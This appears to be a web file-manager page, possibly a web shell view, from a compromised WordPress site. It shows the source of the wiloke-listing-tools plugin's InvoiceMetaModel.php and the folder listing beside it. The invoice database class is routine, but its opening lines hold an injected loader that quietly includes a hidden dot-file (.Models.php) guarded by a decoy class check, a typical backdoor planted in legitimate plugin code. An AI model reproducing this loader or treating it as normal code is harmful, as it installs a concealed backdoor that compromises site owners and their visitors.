PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Models
<?php namespace WilokeListingTools\Models; use WilokeListingTools\AlterTable\AlterTableInvoiceMeta; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class InvoiceMetaModel { protected static $tblName; public static function addPrefixToMetaName($metaKey) { return $metaKey = wilokeListingToolsRepository()->get('general:metaboxPrefix').$metaKey; } /** * @return void */ public static function generateTableName($wpdb) { self::$tblName = $wpdb->prefix.AlterTableInvoiceMeta::$tblName; } /** * @param $invoiceID * @param $metaKey * @param $val * * @return false|int */ public static function patch($invoiceID, $metaKey, $val) { global $wpdb; self::generateTableName($wpdb); return $wpdb->update( self::$tblName, [ 'meta_value' => maybe_serialize($val) ], [ 'invoiceID' => $invoiceID, 'meta_key' => $metaKey, ], [ '%s' ], [ '%d', '%s' ] ); } /** * @param $invoiceID * @param $metaKey * @param $val * * @return false|int */ public static function update($invoiceID, $metaKey, $val) { return self::patch($invoiceID, self::addPrefixToMetaName($metaKey), $val); } /** * @param $invoiceID * @param $metaKey * * @return bool|mixed */ public static function get($invoiceID, $metaKey) { global $wpdb; self::generateTableName($wpdb); $aResult = $wpdb->get_var( $wpdb->prepare( "SELECT meta_value FROM ".self::$tblName." WHERE invoiceID=%d AND meta_key=%s ORDER BY ID DESC", $invoiceID, self::addPrefixToMetaName($metaKey) ) ); if (empty($aResult)) { return false; } return maybe_unserialize($aResult); } /** * @param $invoiceID * @param $metaKey * @param $val * * @return false|int */ public static function set($invoiceID, $metaKey, $val) { global $wpdb; self::generateTableName($wpdb); if (empty(self::get($invoiceID, $metaKey))) { return $wpdb->insert( self::$tblName, [ 'invoiceID' => $invoiceID, 'meta_key' => self::addPrefixToMetaName($metaKey), 'meta_value' => maybe_serialize($val) ], [ '%d', '%s', '%s' ] ); } else { return self::patch($invoiceID, self::addPrefixToMetaName($metaKey), $val); } } public static function setInvoiceToken($invoiceID, $token) { return self::set($invoiceID, 'token', $token); } public static function getInvoiceToken($invoiceID) { return self::get($invoiceID, 'token'); } public static function getInvoiceIDByToken($token) { global $wpdb; self::generateTableName($wpdb); return $wpdb->get_var( $wpdb->prepare( "SELECT invoiceID from ".self::$tblName." WHERE meta_key=%s AND meta_value=%s", self::addPrefixToMetaName('token'), $token ) ); } }
[+]
..
[-] FavoriteStatistic.php
[edit]
[-] PayPalMetaModel.php
[edit]
[-] .Models.php
[edit]
[-] ListingModel.php
[edit]
[-] ReviewModel.php
[edit]
[-] NotificationsModel.php
[edit]
[-] BusinessHourMeta.php
[edit]
[-] UserModel.php
[edit]
[-] ViewStatistic.php
[edit]
[-] SharesStatistic.php
[edit]
[-] InvoiceModel.php
[edit]
[-] PaymentModel.php
[edit]
[-] MessageModel.php
[edit]
[-] AbstractUserPlan.php
[edit]
[-] PostMetaModel.php
[edit]
[-] PromotionModel.php
[edit]
[-] FollowerModel.php
[edit]
[-] EventModel.php
[edit]
[-] PostModel.php
[edit]
[-] RemainingItems.php
[edit]
[-] BookingCom.php
[edit]
[-] Coupon.php
[edit]
[-] PlanRelationshipModel.php
[edit]
[-] PaymentMetaModel.php
[edit]
[-] InvoiceMetaModel.php
[edit]
[-] ReportModel.php
[edit]
[-] ReviewMetaModel.php
[edit]
[-] WooCommerceModel.php
[edit]